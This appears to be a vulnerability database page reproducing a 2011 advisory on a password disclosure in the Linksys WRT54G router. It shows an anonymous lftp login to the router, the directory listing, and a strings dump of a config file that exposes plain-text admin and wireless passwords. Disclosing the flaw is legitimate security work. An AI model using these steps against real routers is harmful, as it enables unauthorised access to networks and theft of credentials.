Lucene search
+L

Linksys WRT54G Password Disclosure

🗓️ 11 Apr 2011 00:00:00Reported by RaFDType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Linksys WRT54G Password Disclosure in Firmware v7.00.

Code
`Environment: Linksys WRT54G - Firmware Version: v7.00.1   
  
  
Default settings of Linksys WRT54G allows to get FTP without password:  
  
  
rafal@localhost ~ $ lftp 192.168.1.1  
lftp 192.168.1.1:~> dir  
size date time name  
-------- ------ ------ --------  
956756 Jan-01-2003 02:13:12 ap61.sys   
224664 Jan-01-2003 02:13:24 igwhtm.dat   
28528 Jan-01-2003 02:13:26 langpak_en   
28482 Apr-08-2011 15:36:44 igwpricf.dat   
2520 Apr-08-2011 15:11:02 nvram.cfg   
2046 Dec-24-2001 00:02:42 calibra.dat   
  
lftp 192.168.1.1:~>   
  
  
It is possible to download igwpricf.dat file (and another) where plain-text password to web access and wireless network are keeping.  
  
  
rafal@localhost ~ $ strings igwpricf.dat  
Linksys  
IntotoSoft  
192.168.50.3  
...  
Aadmin  
PASSWORD  
test  
best  
...  
WIRELESS_PASSWORD  
...  
default  
langpak_en  
TELNET  
HTTP  
SMTP  
POP3  
  
  
-----------------  
RaFD  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation